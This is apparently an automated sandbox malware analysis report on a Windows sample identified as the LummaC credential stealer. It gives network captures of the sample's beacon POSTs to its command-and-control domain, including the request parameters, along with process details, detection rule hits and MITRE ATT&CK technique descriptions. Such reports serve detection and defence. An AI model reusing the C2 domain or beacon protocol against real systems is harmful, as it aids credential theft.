ec 49 81 45 Data Ascii: dFk\|#'#/oJNZ~!kgI:KoNfB\|LbNC^]5/AD;@~y/YWK5.SDm.`#(BS";9zC==-j^B,/0&1TMz s}a=7+A5&>IE
2024-12-27 08:13:00 UTC	1139	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:13:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nnrg11tjbmrin353e51hhpo8so; expires=Tue, 22 Apr 2025 01:59:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=84vL1bRGSH7J45JXMgWzjh%2FVx%2FoUEwyDUkp8HQixIO59BBD%2BiKcVbLUwK87lQDtIJGFAFnI%2BvUj%2FKPd6P8vm6SGYc38H9AKfFMAZGY2%2Fvkh7kqR98%2Bls3oPjWvl5gfhgavA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87d937e8fef5f4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1452&min_rtt=1448&rtt_var=551&sent=363&recv=569&lost=0&retrans=0&sent_bytes=2837&recv_bytes=552792&delivery_rate=1972972&cwnd=103&unsent_bytes=0&cid=1a9c61bb7bb64239&ts=4185&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	104.21.11.101	443	6360	C:\Users\user\Desktop\RDb082EApV.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:13:02 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: mindhandru.buzz
2024-12-27 08:13:02 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 41 33 31 30 45 45 37 46 42 37 42 45 38 31 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=A310EE7FB7BE8136BEBA0C6A975F1733
2024-12-27 08:13:02 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:13:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ct17k4n3etqj0ovdbc1v15q12u; expires=Tue, 22 Apr 2025 01:59:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MkjqnTcwADp2sdcnn3MM%2Bv67jY1CtykvGXYDtzVYLvtHnQ7ybEaemIduc8Pak9toWxFMckPBnO7GCMzrQ5miBjCHrLTVpC3S4v6l5hA32bW1cIsxjHqtSOJCKA%2Btyd%2F1ZlM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87d95a3fea1a24-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1800&min_rtt=1792&rtt_var=688&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=987&delivery_rate=1571582&cwnd=217&unsent_bytes=0&cid=ed52a02a7162b788&ts=776&x=0"
2024-12-27 08:13:02 UTC	210	IN	Data Raw: 63 63 0d 0a 4f 33 55 34 53 53 5a 50 47 74 76 77 79 61 43 6d 4b 42 4e 2b 72 38 4c 41 6b 2b 39 62 6d 47 39 34 43 34 6f 65 38 39 66 34 52 4e 52 67 44 68 6f 38 42 48 55 34 73 34 53 39 30 4a 78 30 50 43 4b 41 38 2f 69 6d 77 57 6d 70 57 6c 59 36 75 79 33 64 35 73 34 59 2b 31 51 54 58 68 55 4a 4b 33 2b 39 33 71 7a 59 77 77 6f 2f 58 4d 6d 32 34 71 6e 66 64 37 6f 4b 57 6a 47 37 59 39 2b 73 32 6a 48 32 41 56 64 51 50 56 49 2f 49 49 66 66 6c 59 2b 58 45 43 5a 51 6e 66 50 31 76 64 35 71 71 30 46 4a 50 64 59 78 6e 4c 47 65 47 50 74 66 45 46 35 6e 51 7a 64 2f 2b 64 7a 72 78 74 49 4b 4b 55 36 44 34 4b 57 78 31 57 76 6c 4d 67 3d 3d 0d 0a Data Ascii: ccO3U4SSZPGtvwyaCmKBN+r8LAk+9bmG94C4oe89f4RNRgDho8BHU4s4S90Jx0PCKA8/imwWmpWlY6uy3d5s4Y+1QTXhUJK3+93qzYwwo/XMm24qnfd7oKWjG7Y9+s2jH2AVdQPVI/IIfflY+XECZQnfP1vd5qq0FJPdYxnLGeGPtfEF5nQzd/+dzrxtIKKU6D4KWx1WvlMg==
2024-12-27 08:13:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:12:37
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\RDb082EApV.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\RDb082EApV.exe"
Imagebase:	0x10000
File size:	2'984'960 bytes
MD5 hash:	8C6BC86968EF348064806000613733AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1822756808.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1822268061.00000000007DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:13:15
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RDb082EApV.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:13:16
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1736,i,806140017804911872,2372553544258295183,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	03:13:21
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RDb082EApV.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:13:22
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1168 --field-trial-handle=2012,i,9289619090214148228,11069528747453188338,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00848760 Relevance: .6, Instructions: 638COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1995917712.000000000083E000.00000004.00000020.00020000.00000000.sdmp, Offset: 00841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_839000_RDb082EApV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 993ca179b04a8554cf44e78f270c9e409e51ce9793911d61caa6272b349a6dee
Instruction ID: e1e7e447b47722784973be66ecdd4a3d70da8abc27aae29d1b1a80989bf998ff
Opcode Fuzzy Hash: 993ca179b04a8554cf44e78f270c9e409e51ce9793911d61caa6272b349a6dee
Instruction Fuzzy Hash: DC4201A544E3C98FD7138B708C686A57FB0AF13218B1E46DBC4D5CF5E3E669580AC722

Function 00848760 Relevance: .6, Instructions: 638COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1995917712.000000000083E000.00000004.00000020.00020000.00000000.sdmp, Offset: 0083E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_839000_RDb082EApV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 993ca179b04a8554cf44e78f270c9e409e51ce9793911d61caa6272b349a6dee
Instruction ID: e1e7e447b47722784973be66ecdd4a3d70da8abc27aae29d1b1a80989bf998ff
Opcode Fuzzy Hash: 993ca179b04a8554cf44e78f270c9e409e51ce9793911d61caa6272b349a6dee
Instruction Fuzzy Hash: DC4201A544E3C98FD7138B708C686A57FB0AF13218B1E46DBC4D5CF5E3E669580AC722

Function 00848760 Relevance: .6, Instructions: 638COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1995917712.000000000083E000.00000004.00000020.00020000.00000000.sdmp, Offset: 0083F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_839000_RDb082EApV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 993ca179b04a8554cf44e78f270c9e409e51ce9793911d61caa6272b349a6dee
Instruction ID: e1e7e447b47722784973be66ecdd4a3d70da8abc27aae29d1b1a80989bf998ff
Opcode Fuzzy Hash: 993ca179b04a8554cf44e78f270c9e409e51ce9793911d61caa6272b349a6dee
Instruction Fuzzy Hash: DC4201A544E3C98FD7138B708C686A57FB0AF13218B1E46DBC4D5CF5E3E669580AC722

Function 00843C85 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1995917712.000000000083E000.00000004.00000020.00020000.00000000.sdmp, Offset: 00841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_839000_RDb082EApV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 834bd5fad655ccaf1eba674d0bddcb2164cb56b3b902aae8de6b7ff345c16216
Instruction ID: 4f338ccf3ca2da0767f04116e194860d07828e486def13616d9fa8043402316f
Opcode Fuzzy Hash: 834bd5fad655ccaf1eba674d0bddcb2164cb56b3b902aae8de6b7ff345c16216
Instruction Fuzzy Hash: A1E1FF3140A3D69FC7138F38C8A1696BFB5FF0732471D46DAD4C08E163D2665A5ACB62

Function 00843C85 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1995917712.000000000083E000.00000004.00000020.00020000.00000000.sdmp, Offset: 0083E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_839000_RDb082EApV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 834bd5fad655ccaf1eba674d0bddcb2164cb56b3b902aae8de6b7ff345c16216
Instruction ID: 4f338ccf3ca2da0767f04116e194860d07828e486def13616d9fa8043402316f
Opcode Fuzzy Hash: 834bd5fad655ccaf1eba674d0bddcb2164cb56b3b902aae8de6b7ff345c16216
Instruction Fuzzy Hash: A1E1FF3140A3D69FC7138F38C8A1696BFB5FF0732471D46DAD4C08E163D2665A5ACB62

Function 00843C85 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1995917712.000000000083E000.00000004.00000020.00020000.00000000.sdmp, Offset: 0083F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_839000_RDb082EApV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 834bd5fad655ccaf1eba674d0bddcb2164cb56b3b902aae8de6b7ff345c16216
Instruction ID: 4f338ccf3ca2da0767f04116e194860d07828e486def13616d9fa8043402316f
Opcode Fuzzy Hash: 834bd5fad655ccaf1eba674d0bddcb2164cb56b3b902aae8de6b7ff345c16216
Instruction Fuzzy Hash: A1E1FF3140A3D69FC7138F38C8A1696BFB5FF0732471D46DAD4C08E163D2665A5ACB62

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report RDb082EApV.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 69

Windows Analysis Report
RDb082EApV.exe